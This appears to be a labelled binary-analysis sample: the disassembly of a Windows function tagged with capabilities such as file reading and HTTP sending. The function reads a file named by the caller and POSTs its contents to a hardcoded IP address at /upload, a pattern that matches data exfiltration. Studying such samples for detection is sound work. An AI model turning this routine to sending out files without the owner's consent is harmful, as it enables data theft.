Function at 0x403a90
Capabilities:
Connect to http server
Create http request
Read and send data from client to server
Read file on windows
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push str.MyApp
mov dword [ebp - 0x10], ecx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
jne 0x403ad2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetOpen_failed:__d_n
call fcn.00401070
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 3
push 0
push 0
push 0x22c4
push str.203.91.73.210
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ebx, eax
test ebx, ebx
jne 0x403b17
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.InternetConnect_failed:__d_n
call fcn.00401070
add esp, 8
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push 0
push str._upload
push str.POST
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
mov dword [ebp - 4], esi
test esi, esi
jne 0x403b64
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpOpenRequest_failed:__d_n
call fcn.00401070
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 8
push ebx
call esi
push edi
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x409014
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
jne 0x403ba4
push dword [ebp - 0x10]
push str.Failed_to_open_file:__ls_n
call fcn.00401070
add esp, 8
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push ebx
call esi
push edi
call esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push eax
call esi
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 0x10], eax
push 0
push 0
push dword [ebp - 8]
call esi
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x403c00
push str.Failed_to_allocate_memory_for_file_content._n
call fcn.00401070
add esp, 4
push dword [ebp - 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push dword [ebp - 4]
jmp 0x403b8d
mov esi, dword [ebp - 8]
push esi
push dword [ebp - 0x10]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, dword [ebp - 0x10]
add esp, 0x10
cmp eax, ecx
je 0x403c45
push str.Failed_to_read_file_content._n
call fcn.00401070
add esp, 4
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push dword [ebp - 4]
jmp 0x403b8d
push ecx
push dword [ebp - 0xc]
push 0
push 0
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x403c89
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.HttpSendRequest_failed:__d_n
call fcn.00401070
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push dword [ebp - 4]
jmp 0x403b8d
push str.File_uploaded_successfully._n
call fcn.00401070
add esp, 4
push dword [ebp - 0xc]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push dword [ebp - 4]
call esi
push ebx
call esi
push edi
call esi
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret